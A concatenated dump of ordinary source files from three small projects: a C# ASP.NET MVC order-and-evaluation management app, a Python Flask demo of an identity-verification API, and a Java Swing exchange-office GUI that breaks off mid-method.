google.charts.setOnLoadCallback(drawChartPizza);
function drawChartPizza() {
var data = google.visualization.arrayToDataTable([
['Situação', 'Pedidos'],
['Pendentes', 3],
['Realizados', 5],
['Aguardando cliente', 2],
['Concluído', 5]
]);
var options = {
title: 'Pedidos de Exemplares'
};
var chart = new google.visualization.PieChart(document.getElementById('piechart'));
chart.draw(data, options);
}<file_sep>using Finis.Controllers;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Web.Mvc;
namespace Finis.Testes.Controllers
{
class AvaliacaoControllerTest
{
[TestMethod]
public void Index()
{
// Arrange
AvaliacoesController controller = new AvaliacoesController();
// Act
ViewResult result = controller.Index() as ViewResult;
// Assert
Assert.IsNotNull(result);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
using System.Data.Entity.Infrastructure;
using System.Data.SqlClient;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário")]
public class PedidosController : Controller
{
private Contexto db = new Contexto();
// GET: Pedidos
public ActionResult Index()
{
return View(db.Pedido.ToList());
}
// GET: Pedidos/Details/5
public ActionResult Details(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Pedido pedido = db.Pedido.Find(id);
if (pedido == null)
{
return HttpNotFound();
}
return View(pedido);
}
public ActionResult ListaExemplares()
{
return PartialView("ListaExemplares");
}
//public ActionResult ListaExemplares2()
//{
// var exemplares = db.Exemplar.Include(e => e.editora).Include(e => e.idioma).Include(e => e.sessao).OrderBy(e => e.titulo);
// return PartialView("ListaExemplares2", exemplares.ToList());
//}
public ActionResult Exportar()
{
List<Pedido> pedido = new List<Pedido>();
pedido = db.Pedido.ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Pedidos.rpt"));
rd.SetDataSource(pedido);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Pedidos.pdf");
}
[HttpPost]
public ActionResult Atualiza(Exemplar exemplar)
{
return RedirectToAction("Index");
}
[HttpGet]
public JsonResult DropboxClientes()
{
var listaClientes = db.Cliente.Select(e => new { e.id, e.nome, e.rg }).OrderBy(e => e.nome).ToArray();
var obj = new
{
lista = listaClientes
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
private void ConfiguraNomeCliente(Avaliacao avaliacao)
{
if (avaliacao.cliente == null)
{
avaliacao.cliente = db.Cliente.Find(avaliacao.clienteId);
}
avaliacao.clienteNome = avaliacao.cliente.id + " - " + avaliacao.cliente.nome + " - " + avaliacao.cliente.rg;
}
[HttpGet]
public JsonResult DropboxExemplares()
{
var listaExemplares = db.Item.OfType<Exemplar>().Select(e => new { e.id, e.nome }).OrderBy(e => e.nome).ToArray();
var obj = new
{
lista = listaExemplares
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
// GET: Pedidos/Create
public ActionResult Create()
{
return View(new Pedido());
}
// POST: Pedidos/Create
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(Pedido pedido)
{
if (ModelState.IsValid)
{
pedido.ConfigurarParaSalvar();
db.Pedido.Add(pedido);
db.SaveChanges();
return RedirectToAction("Index");
}
return View(pedido);
}
// GET: Pedidos/Edit/5
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Pedido pedido = db.Pedido.Find(id);
if (pedido == null)
{
return HttpNotFound();
}
return View(pedido);
}
// POST: Pedidos/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(Pedido pedido)
{
if (ModelState.IsValid)
{
pedido.ConfigurarParaSalvar();
db.Entry(pedido).State = EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
return View(pedido);
}
// GET: Pedidos/Delete/5
public ActionResult Delete(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Pedido pedido = db.Pedido.Find(id);
if (pedido == null)
{
return HttpNotFound();
}
return View(pedido);
}
// GET: Clientes/Delete/5
public JsonResult DeletarRegistro(int? id)
{
if (id != null)
{
Pedido pedido = db.Pedido.Find(id);
db.Pedido.Remove(pedido);
try
{
db.SaveChanges();
}
catch (DbUpdateException ex)
{
var sqlException = ex.GetBaseException() as SqlException;
if (sqlException != null)
{
return Json(false, JsonRequestBehavior.AllowGet);
}
}
}
return Json(true, JsonRequestBehavior.AllowGet);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}
<file_sep>using br.com.Sistema.uml.classes de entidades;
namespace br.com.Sistema.uml.classes de entidades
{
public class Transacao
{
private decimal valor;
private DateTime data;
private Cliente cliente;
private TipoTransacao tipoTransacao;
public void EmitirCartao()
{
}
public void Desativar()
{
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
using System.Web.Script.Serialization;
namespace Finis.Models
{
public enum situacaoPedido
{
[Display(Name = "Pendente")]
PENDENTE = 1,
[Display(Name = "Realizado")]
REALIZADO = 2,
[Display(Name = "Aguardando cliente")]
AGUARDANDO_CLIENTE = 3,
[Display(Name = "Concluído")]
CONCLUIDO = 4,
}
public class Pedido : EntidadeAbstrata
{
private DAL.Contexto db = new DAL.Contexto();
public Pedido()
{
this.dataPedido = DateTime.Now;
this.Exemplares = db.Item.OfType<Exemplar>().OrderBy(e => e.nome).ToList();
this.situacao = situacaoPedido.PENDENTE;
}
[NotMapped]
[Display(Name = "Cliente")]
[Required(ErrorMessage = "Por favor selecione um cliente")]
public string clienteNome { get; set; }
[Display(Name = "Cliente")]
[Required(ErrorMessage = "Por favor selecione um cliente")]
public int? clienteId { get; set; }
[ForeignKey("clienteId")]
public virtual Cliente cliente { get; set; }
[ScriptIgnore]
public virtual IList<Exemplar> Exemplares { get; set; }
[Display(Name = "Descrição")]
[StringLength(200, ErrorMessage = "A descrição é muito longa")]
[DataType(DataType.MultilineText)]
public string descricao { get; set; }
[Display(Name = "Data de pedido")]
[DisplayFormat(DataFormatString = "{0:dd/MM/yyyy}")]
public DateTime dataPedido { get; set; }
[Display(Name = "Situação")]
[Required(ErrorMessage = "Por favor selecione uma opção")]
public situacaoPedido situacao { get; set; }
}
}<file_sep>using Finis.Controllers;
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Web;
namespace Finis.Models
{
public enum TipoTransacao
{
[Display(Name = "Entrada de créditos")]
ENTRADA = 1,
[Display(Name = "Saída de créditos")]
SAIDA = 2,
}
public enum TipoCredito
{
[Display(Name = "Parcial")]
PARCIAL = 1,
[Display(Name = "Especial")]
ESPECIAL = 2,
}
[NotMapped]
public class TotalTransacao
{
public DateTime mesReferencia { get; set; }
public int totalEntrada { get; set; }
public int totalSaida { get; set; }
}
public class Transacao : EntidadeAbstrata
{
public Transacao()
{
this.data = DateTime.Now;
}
[Display(Name = "Valor")]
[Required(ErrorMessage = "Por favor insira um valor")]
public decimal valor { get; set; }
[Display(Name = "Data da transação")]
[Required(ErrorMessage = "Por favor insira uma data")]
public DateTime data { get; set; }
[Display(Name = "Tipo de transação")]
[Required(ErrorMessage = "Por favor selecione uma opção")]
public TipoTransacao tipoTransacao { get; set; }
[Display(Name = "Tipo de crédito")]
[Required(ErrorMessage = "Por favor selecione uma opção")]
public TipoCredito tipoCredito { get; set; }
[Display(Name = "Cliente")]
[Required(ErrorMessage = "Por favor selecione um cliente")]
public int? clienteId { get; set; }
[ForeignKey("clienteId")]
public virtual Cliente cliente { get; set; }
[NotMapped]
public string dataString
{
get
{
return this.data.ToString("dd/MM/yyyy");
}
}
[NotMapped]
public string valorString
{
get
{
return this.valor.ToString("C");
}
}
[NotMapped]
public string tipoTransacaoString
{
get
{
if (this.tipoTransacao == TipoTransacao.ENTRADA)
return "Entrada";
else if (this.tipoTransacao == TipoTransacao.SAIDA)
return "Saída";
else return "";
}
}
[NotMapped]
public string tipoCreditoString
{
get
{
if (this.tipoCredito == TipoCredito.PARCIAL)
return "Parcial";
else if (this.tipoCredito == TipoCredito.ESPECIAL)
return "Especial";
else return "";
}
}
public void NovaTransacaoEntrada(decimal? valor, TipoCredito credito, int? ClienteId)
{
this.data = DateTime.Now;
this.valor = valor.GetValueOrDefault();
this.tipoCredito = credito;
this.clienteId = ClienteId;
this.tipoTransacao = TipoTransacao.ENTRADA;
}
public void NovaTransacaoSaida(decimal? valor, TipoCredito credito, int? ClienteId)
{
this.data = DateTime.Now;
this.valor = valor.GetValueOrDefault();
this.tipoCredito = credito;
this.clienteId = ClienteId;
this.tipoTransacao = TipoTransacao.SAIDA;
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Data;
using System.Data.Entity;
using System.Linq;
using System.Net;
using System.Web;
using System.Web.Mvc;
using Finis.DAL;
using Finis.Models;
using CrystalDecisions.CrystalReports.Engine;
using System.IO;
using System.Data.Entity.Infrastructure;
using System.Data.SqlClient;
namespace Finis.Controllers
{
[Authorize(Roles = "Administrador, Funcionário")]
public class AvaliacoesController : Controller
{
private Contexto db = new Contexto();
// GET: Avaliacoes
public ActionResult Index()
{
var avaliacao = db.Avaliacao.Include(a => a.cliente).OrderByDescending(a => a.dataEntrada);
return View(avaliacao.ToList());
}
[HttpPost]
public ActionResult Index(string pesquisar, DateTime? dataInicio, DateTime? dataFim)
{
if (dataInicio != null)
{
if (dataFim != null)
{
if (pesquisar != null && pesquisar != "")
{
if (pesquisar.Contains("-"))
{
string[] tokens = pesquisar.Split('-');
if (tokens.Length == 3)
{
string nome = tokens[1].Replace(" ", "");
string rg = tokens[2].Replace(" ", "");
return View(db.Avaliacao
.Include(t => t.cliente)
.Where(t => t.cliente.nome.Contains(nome) || t.cliente.rg.Contains(rg) && t.dataEntrada >= dataInicio && t.dataEntrada <= dataFim)
.OrderBy(t => t.cliente.nome)
.ToList());
}
}
return View(db.Avaliacao
.Include(t => t.cliente)
.Where(t => t.cliente.nome.Contains(pesquisar) || t.cliente.rg.Contains(pesquisar) && t.dataEntrada >= dataInicio && t.dataEntrada <= dataFim)
.OrderBy(t => t.cliente.nome)
.ToList());
}
else
{
return View(db.Avaliacao
.Include(t => t.cliente)
.Where(t => t.dataEntrada >= dataInicio && t.dataEntrada <= dataFim)
.OrderByDescending(t => t.dataEntrada)
.ToList());
}
}
else
{
return View(db.Avaliacao
.Include(t => t.cliente)
.Where(t => t.dataEntrada == dataInicio)
.OrderByDescending(t => t.dataEntrada)
.ToList());
}
}
else if (pesquisar != null && pesquisar != "")
{
if(pesquisar.Contains("-"))
{
string[] tokens = pesquisar.Split('-');
if(tokens.Length == 3)
{
string nome = tokens[1].Replace(" ", "");
string rg = tokens[2].Replace(" ", "");
return View(db.Avaliacao
.Include(t => t.cliente)
.Where(t => t.cliente.nome.Contains(nome) || t.cliente.rg.Contains(rg))
.OrderBy(t => t.cliente.nome)
.ToList());
}
}
return View(db.Avaliacao
.Include(t => t.cliente)
.Where(t => t.cliente.nome.Contains(pesquisar) || t.cliente.rg.Contains(pesquisar))
.OrderBy(t => t.cliente.nome)
.ToList());
}
else
{
return View(db.Avaliacao
.Include(t => t.cliente)
.OrderByDescending(t => t.dataEntrada)
.ToList());
}
}
[HttpGet]
public JsonResult DropboxClientes()
{
var listaClientes = db.Cliente.Select(e => new { e.id, e.nome, e.rg }).OrderBy(e => e.nome).ToArray();
var obj = new
{
lista = listaClientes
};
return Json(obj, "text/html", JsonRequestBehavior.AllowGet);
}
private void ConfiguraNomeCliente(Avaliacao avaliacao)
{
if (avaliacao.cliente == null)
{
avaliacao.cliente = db.Cliente.Find(avaliacao.clienteId);
}
avaliacao.clienteNome = avaliacao.cliente.id + " - " + avaliacao.cliente.nome + " - " + avaliacao.cliente.rg;
}
// GET: Clientes/Details/5
public JsonResult Detalhes(int? id)
{
bool sucesso;
string resultado;
if (id == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
Avaliacao avaliacao = db.Avaliacao.Find(id);
if (avaliacao == null)
{
sucesso = false;
resultado = "Não encontrado!";
}
else
{
if(avaliacao.cliente == null)
{
avaliacao.cliente = db.Cliente.Find(avaliacao.clienteId);
}
sucesso = true;
resultado = avaliacao.Serializar();
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
// GET: Avaliacoes/Create
public ActionResult Create()
{
ViewBag.clienteId = new SelectList(db.Cliente, "id", "nome");
return View();
}
public ActionResult Exportar()
{
List<Avaliacao> avaliacao = new List<Avaliacao>();
avaliacao = db.Avaliacao.ToList();
ReportDocument rd = new ReportDocument();
rd.Load(Path.Combine(Server.MapPath("~/Relatorios"), "Avaliacoes.rpt"));
rd.SetDataSource(avaliacao);
Response.Buffer = false;
Response.ClearContent();
Response.ClearHeaders();
Stream stream = rd.ExportToStream(CrystalDecisions.Shared.ExportFormatType.PortableDocFormat);
stream.Seek(0, SeekOrigin.Begin);
return File(stream, "application/pdf", "Avaliacoes.pdf");
}
public void ConcluiAvaliacao(Avaliacao avaliacao)
{
avaliacao.ConcluirAvaliacao();
}
// POST: Avaliacoes/Create
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(Avaliacao avaliacao)
{
if (ModelState.IsValid)
{
avaliacao.ConfigurarParaSalvar();
db.Avaliacao.Add(avaliacao);
db.SaveChanges();
return RedirectToAction("Index");
}
ViewBag.Clientes = new SelectList(db.Cliente, "id", "nome", avaliacao.clienteId);
return View(avaliacao);
}
// GET: Avaliacoes/Edit/5
public ActionResult Edit(int? id)
{
if (id == null)
{
return new HttpStatusCodeResult(HttpStatusCode.BadRequest);
}
Avaliacao avaliacao = db.Avaliacao.Find(id);
if (avaliacao == null)
{
return HttpNotFound();
}
ViewBag.Clientes = new SelectList(db.Cliente, "id", "nome", avaliacao.clienteId);
this.ConfiguraNomeCliente(avaliacao);
return View(avaliacao);
}
// POST: Avaliacoes/Edit/5
// Para se proteger de mais ataques, ative as propriedades específicas a que você quer se conectar. Para
// obter mais detalhes, consulte https://go.microsoft.com/fwlink/?LinkId=317598.
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Edit(Avaliacao avaliacao)
{
if (ModelState.IsValid)
{
avaliacao.ConfigurarParaSalvar();
db.Entry(avaliacao).State = EntityState.Modified;
db.SaveChanges();
return RedirectToAction("Index");
}
ViewBag.clienteId = new SelectList(db.Cliente, "id", "nome", avaliacao.clienteId);
return View(avaliacao);
}
// GET: Clientes/Concluir/5
public JsonResult ConcluirAvaliacao(int? id)
{
bool sucesso = false;
string resultado = "Não foi possível concluir";
if (id != null)
{
Avaliacao avaliacao = db.Avaliacao.Find(id);
this.ConfiguraNomeCliente(avaliacao);
if (avaliacao.status == statusAvaliacao.CANCELADA)
{
sucesso = false;
resultado = "Não é possível concluir uma avaliação já cancelada!";
}
else if (avaliacao.status == statusAvaliacao.CONCLUIDA)
{
sucesso = false;
resultado = "Não é possível concluir uma avaliação já concluída!";
}
else
{
avaliacao.ConcluirAvaliacao();
db.Entry(avaliacao).State = EntityState.Modified;
db.SaveChanges();
sucesso = true;
resultado = "Concluída com sucesso!";
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
// GET: Clientes/Cancelar/5
public JsonResult CancelarAvaliacao(int? id)
{
bool sucesso = false;
string resultado = "Não foi possível cancelar";
if (id != null)
{
Avaliacao avaliacao = db.Avaliacao.Find(id);
this.ConfiguraNomeCliente(avaliacao);
if (avaliacao.status == statusAvaliacao.CANCELADA)
{
sucesso = false;
resultado = "Não é possível cancelar uma avaliação já cancelada!";
}
else if (avaliacao.status == statusAvaliacao.CONCLUIDA)
{
sucesso = false;
resultado = "Não é possível cancelar uma avaliação já concluída!";
}
else
{
avaliacao.CancelarAvaliacao();
db.Entry(avaliacao).State = EntityState.Modified;
db.SaveChanges();
sucesso = true;
resultado = "Cancelado com sucesso!";
}
}
var obj = new
{
Sucesso = sucesso,
Resultado = resultado
};
return Json(obj, JsonRequestBehavior.AllowGet);
}
// GET: Clientes/Delete/5
public JsonResult DeletarRegistro(int? id)
{
if (id != null)
{
Avaliacao avaliacao = db.Avaliacao.Find(id);
this.ConfiguraNomeCliente(avaliacao);
db.Avaliacao.Remove(avaliacao);
try
{
db.SaveChanges();
}
catch (DbUpdateException ex)
{
var sqlException = ex.GetBaseException() as SqlException;
if (sqlException != null)
{
return Json(false, JsonRequestBehavior.AllowGet);
}
}
}
return Json(true, JsonRequestBehavior.AllowGet);
}
protected override void Dispose(bool disposing)
{
if (disposing)
{
db.Dispose();
}
base.Dispose(disposing);
}
}
}
| 4d58546ebd54f15916d1e6ff4f8866d452620c94 | [
"JavaScript",
"C#"
] | 52 | C# | wjfjunior/ProjetoFinis | 37e6cb979744e2743ea5526477e823e476f521b4 | f54d30bccb2c77b09f60066fd7dca1a78f47f665 |
refs/heads/master | <repo_name>Nefelidem/web-idv-demo-python-flask<file_sep>/app.py
import os
import sys
import pycountry
from flask import (
render_template,
redirect,
request,
Flask,
)
from api import AuthenteqAPIClient
CLIENT_ID = os.environ.get('CLIENT_ID')
CLIENT_SECRET = os.environ.get('CLIENT_SECRET')
REDIRECT_URL = 'http://127.0.0.1:5000/results'
if CLIENT_ID == None or CLIENT_SECRET == None:
missing_variables = 'Set CLIENT_ID and CLIENT_SECRET environment variables. You will find their values in the Customer Dashboard (https://customer-dashboard.app.authenteq.com/)'
print(missing_variables)
API_CLIENT = AuthenteqAPIClient(CLIENT_ID, CLIENT_SECRET, REDIRECT_URL)
app = Flask(__name__)
@app.route('/')
def index():
API_CLIENT.request_verification()
api_response = API_CLIENT.request_verification()
if 'verificationUrl' in api_response:
verification_url = api_response['verificationUrl']
return render_template('index.html', verification_url=verification_url)
elif api_response.get('errorCode') == 'INVALID_REQUEST_PARAMETER':
message = api_response['errorMessage']
return render_template('error.html', message=message)
@app.route('/results')
def results():
code = request.args.get('code')
if code:
api_response = API_CLIENT.verification_result(code)
if api_response.get('errorCode') == 'INVALID_REQUEST_PARAMETER':
message = api_response['errorMessage']
return render_template('error.html', message=message)
return render_template("results.html", document_data=api_response['documentData'])
else:
return redirect('/')
SEX = {
'M': 'Male',
'F': 'Female',
'X': 'Unspecified',
}
@app.template_filter()
def sex(value):
return SEX[value]
DOCUMENT_TYPES = {
'PP': "Passport",
'DL': "Driver's License",
'NID': "National ID Card",
}
@app.template_filter()
def document_type(value):
return DOCUMENT_TYPES[value]
@app.template_filter()
def data_url(image_object):
content_type = image_object['contentType']
content = image_object['content']
return f'data:{content_type};base64,{content}'
@app.template_filter()
def conuntry(code):
return pycountry.countries.get(alpha_3=code).name
if __name__ == "__main__":
app.run(debug=True)
<file_sep>/README.md
# Web IDV Demo in Python using Flask
## Introduction
This project demonstrates the integration of Authenteq Web IDV with the application written in Python.
It's implemented with Flask and jinja2 for the details page.
## Running project
The current project is implemented with Python version 3.8
### Configuring Flask with environment variables
To run this application using Flask set the following environmental variables:
Linux
```
export FLASK_APP=app.py
export FLASK_ENV=development
```
Windows
```
set FLASK_APP=app.py
set FLASK_ENV=development
```
### Setting Client Id and Client Secret
The app needs Client Id and Client Secret. You can find these values in the [Customer Dashboard](https://customer-dashboard.app.authenteq.com/customer/api-keys). Pass them to the app with the environment variables:
Linux
```
export CLIENT_ID=<your client id>
export CLIENT_SECRET=<your client secret>
```
Windows
```
set CLIENT_ID=<your client id>
set CLIENT_SECRET=<your client secret>
```
### Adding redirect URL
The redirect from Web IDV can happen only to predefined addresses. Add below redirect URL in the [Customer Dashboard](https://customer-dashboard.app.authenteq.com/customer/api-keys).
```
https://localhost:5000/results
```
### Starting application
Run:
```
flask run
```
The frontend starts on port 5000 on the localhost.
Open [https://localhost:5000](https://localhost:5000).
The application contains:
* index (/) - home page with Button which will initiate the verification process
* results (/results) displays the results of the verification
<file_sep>/api.py
import requests
class AuthenteqAPIClient:
API_URL = 'https://api.app.authenteq.com'
def __init__(self, client_id, client_secret, redirect_url):
self.client_id = client_id
self.client_secret = client_secret
self.redirect_url = redirect_url
def request_verification(self):
request_verification_url = f'{AuthenteqAPIClient.API_URL}/web-idv/verification-url?redirectUrl={self.redirect_url}'
auth = requests.auth.HTTPBasicAuth(self.client_id, self.client_secret)
response = requests.request('GET', request_verification_url, auth=auth)
return response.json()
def verification_result(self, code):
results_url = f'{AuthenteqAPIClient.API_URL}/web-idv/verification-result?code={code}&redirectUrl={self.redirect_url}'
auth = requests.auth.HTTPBasicAuth(self.client_id, self.client_secret)
response = requests.request('GET', results_url, auth=auth)
return response.json()
| 8bd2124badd271e00062a6df803ae6d4fa3fd28e | [
"Markdown",
"Python"
] | 3 | Python | Nefelidem/web-idv-demo-python-flask | 19d0237fb0723054a7086d72ff60fe367d1ed411 | 89947a085196b2bba4014beec9e93881254bf484 |
refs/heads/master | <repo_name>davidoviclazar/exchange-office-gui<file_sep>/src/exchangeoffice/gui/GUIController.java
package exchangeoffice.gui;
import java.awt.EventQueue;
import java.io.File;
import java.util.LinkedList;
import javax.swing.JFileChooser;
import javax.swing.JOptionPane;
import exchangeoffice.Rate;
import exchangeoffice.gui.models.ExchangeOfficeTableModel;
public class GUIController {
public static LinkedList<Rate> rates = new LinkedList<Rate>();
private static ExchangeOfficeGUI frame;
private static ExchangeOfficeTableModel model;
/**
* Launch the application.
*/
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
frame = new ExchangeOfficeGUI();
frame.setVisible(true);
frame.setLocationRelativeTo(null);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
public static String showOpenDialog() {
try {
JFileChooser fc = new JFileChooser();
int returnVal = fc.showOpenDialog(frame.getContentPane());
if (returnVal == JFileChooser.APPROVE_OPTION) {
File file = fc.getSelectedFile();
return "Loaded file: " + file.getAbsolutePath();
}
} catch (Exception e1) {
JOptionPane.showMessageDialog(frame.getContentPane(), e1.getMessage(), "Error!", JOptionPane.ERROR_MESSAGE);
}
return null;
}
public static String showSaveDialog() {
try {
JFileChooser fc = new JFileChooser();
int returnVal = fc.showSaveDialog(frame.getContentPane());
if (returnVal == JFileChooser.APPROVE_OPTION) {
File file = fc.getSelectedFile();
return "File saved: " + file.getAbsolutePath();
}
} catch (Exception e1) {
JOptionPane.showMessageDialog(frame.getContentPane(), e1.getMessage(), "Error!", JOptionPane.ERROR_MESSAGE);
}
return null;
}
public static void closeAplication() {
int option = JOptionPane.showConfirmDialog(frame.getContentPane(), "Do you want to close the program?",
"Close aplication", JOptionPane.YES_NO_OPTION);
if (option == JOptionPane.YES_OPTION) {
System.exit(0);
}
}
public static void showAuthors() {
String authors = "<NAME>";
JOptionPane.showMessageDialog(frame, authors, "Author", JOptionPane.INFORMATION_MESSAGE);
}
public static void showRate() {
String text = "";
for (Rate rate : rates) {
text = "Password: " + rate.getPassword() + "Name: " + rate.getName() + "Sales: " + rate.getSales()
+ "Purchasable: " + rate.getPurchasable() + "Middle: " + rate.getMiddle() + "Abbreviated name: "
+ rate.getAbbreviatedName();
}
showRateInStatusBar(text);
refreshTable(rates);
}
public static void showRateInStatusBar(String text) {
frame.setStatusText(text);
}
public static void refreshTable(LinkedList<Rate> rates) {
model = new ExchangeOfficeTableModel(rates);
model.fireTableDataChanged();
frame.setTableModel(model);
}
public static void addRateGUI() {
/**
* Launch the form.
*/
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
AddRateGUI addRate = new AddRateGUI();
addRate.setVisible(true);
addRate.setLocationRelativeTo(null);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
public static void deleteRow(int selectedRow) {
if (selectedRow == -1) {
showWrongChoiceDialog();
} else {
int option = JOptionPane.showConfirmDialog(null, "Are you sure you want to delete the selected rate?",
"Delete rate", JOptionPane.YES_NO_OPTION);
if (option == JOptionPane.YES_OPTION) {
rates.remove(selectedRow);
refreshTable(rates);
showSuccessfullyDeleteRateDialog();
showRateInStatusBar("Deleted row with index: " + selectedRow + "!");
} else {
showUnsuccessfulDeleteRateDialog();
}
}
}
private static void showUnsuccessfulDeleteRateDialog() {
JOptionPane.showMessageDialog(frame.getContentPane(), "Rate not deleted!", "Failure",
JOptionPane.ERROR_MESSAGE);
}
private static void showSuccessfullyDeleteRateDialog() {
JOptionPane.showMessageDialog(frame.getContentPane(), "Rate successfully deleted!", "Success",
JOptionPane.INFORMATION_MESSAGE);
}
private static void showWrongChoiceDialog() {
JOptionPane.showMessageDialog(frame.getContentPane(), "Choose rate for deletion!", "Error",
JOptionPane.ERROR_MESSAGE);
}
public static void executeReplacementGUI() {
/**
* Launch the ExecuteReplacementGUI.
*/
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
ExecuteReplacementGUI frame = new ExecuteReplacementGUI();
frame.setLocationRelativeTo(null);
frame.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
}
<file_sep>/src/exchangeoffice/gui/models/ExchangeOfficeTableModel.java
package exchangeoffice.gui.models;
import java.util.LinkedList;
import javax.swing.table.AbstractTableModel;
import exchangeoffice.Rate;
@SuppressWarnings("serial")
public class ExchangeOfficeTableModel extends AbstractTableModel {
private final String[] columns = new String[] { "Password", "Abbreviated name", "Sales", "Middle", "Purchasable",
"Name" };
private LinkedList<Rate> rates;
public ExchangeOfficeTableModel(LinkedList<Rate> rates) {
if (rates == null) {
this.rates = new LinkedList<Rate>();
} else {
this.rates = rates;
}
}
@Override
public int getColumnCount() {
return columns.length;
}
@Override
public int getRowCount() {
return rates.size();
}
@Override
public Object getValueAt(int arg0, int arg1) {
Rate rate = rates.get(arg0);
switch (arg1) {
case 0:
return rate.getPassword();
case 1:
return rate.getAbbreviatedName();
case 2:
return rate.getSales();
case 3:
return rate.getMiddle();
case 4:
return rate.getPurchasable();
case 5:
return rate.getName();
default:
return "";
}
}
@Override
public String getColumnName(int arg0) {
return columns[arg0];
}
@Override
public boolean isCellEditable(int rowIndex, int columnIndex) {
return false;
}
}
<file_sep>/src/exchangeoffice/gui/ExecuteReplacementGUI.java
package exchangeoffice.gui;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.ButtonGroup;
import javax.swing.DefaultComboBoxModel;
import javax.swing.JButton;
import javax.swing.JComboBox;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JPanel;
import javax.swing.JRadioButton;
import javax.swing.JSlider;
import javax.swing.JTextField;
import javax.swing.border.EmptyBorder;
import javax.swing.event.ChangeEvent;
import javax.swing.event.ChangeListener;
@SuppressWarnings("serial")
public class ExecuteReplacementGUI extends JFrame {
private JPanel contentPane;
private JLabel lblPurchasableRate;
private JLabel lblSalesRate;
private JTextField textFieldSales;
private JTextField textFieldPurchasable;
private JLabel lblAmount;
private JTextField textFieldAmount;
private JLabel lblTransactionType;
private JRadioButton rdbtnPurchase;
private JRadioButton rdbtnSale;
private JSlider sliderAmount;
private JComboBox<String> comboBox;
private JButton btnExecuteExchange;
private JButton btnCancel;
private final ButtonGroup buttonGroup = new ButtonGroup();
/**
* Create the frame.
*/
public ExecuteReplacementGUI() {
setResizable(false);
setTitle("Execute replacement");
setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
setBounds(100, 100, 500, 300);
contentPane = new JPanel();
contentPane.setBorder(new EmptyBorder(5, 5, 5, 5));
setContentPane(contentPane);
contentPane.setLayout(null);
contentPane.add(getLblPurchasableRate());
contentPane.add(getLblSalesRate());
contentPane.add(getTextFieldSales());
contentPane.add(getTextFieldPurchasable());
contentPane.add(getLblAmount());
contentPane.add(getTextFieldAmount());
contentPane.add(getLblTransactionType());
contentPane.add(getRdbtnPurchase());
contentPane.add(getRdbtnSale());
contentPane.add(getSliderAmount());
contentPane.add(getComboBox());
contentPane.add(getBtnExecuteExchange());
contentPane.add(getBtnCancel());
}
private JLabel getLblPurchasableRate() {
if (lblPurchasableRate == null) {
lblPurchasableRate = new JLabel("Purchasable rate");
lblPurchasableRate.setBounds(10, 11, 150, 20);
}
return lblPurchasableRate;
}
private JLabel getLblSalesRate() {
if (lblSalesRate == null) {
lblSalesRate = new JLabel("Sales rate");
lblSalesRate.setBounds(334, 11, 150, 20);
}
return lblSalesRate;
}
private JTextField getTextFieldSales() {
if (textFieldSales == null) {
textFieldSales = new JTextField();
textFieldSales.setEditable(false);
textFieldSales.setBounds(334, 42, 150, 20);
textFieldSales.setColumns(10);
}
return textFieldSales;
}
private JTextField getTextFieldPurchasable() {
if (textFieldPurchasable == null) {
textFieldPurchasable = new JTextField();
textFieldPurchasable.setEditable(false);
textFieldPurchasable.setBounds(10, 42, 150, 20);
textFieldPurchasable.setColumns(10);
}
return textFieldPurchasable;
}
private JLabel getLblAmount() {
if (lblAmount == null) {
lblAmount = new JLabel("Amount");
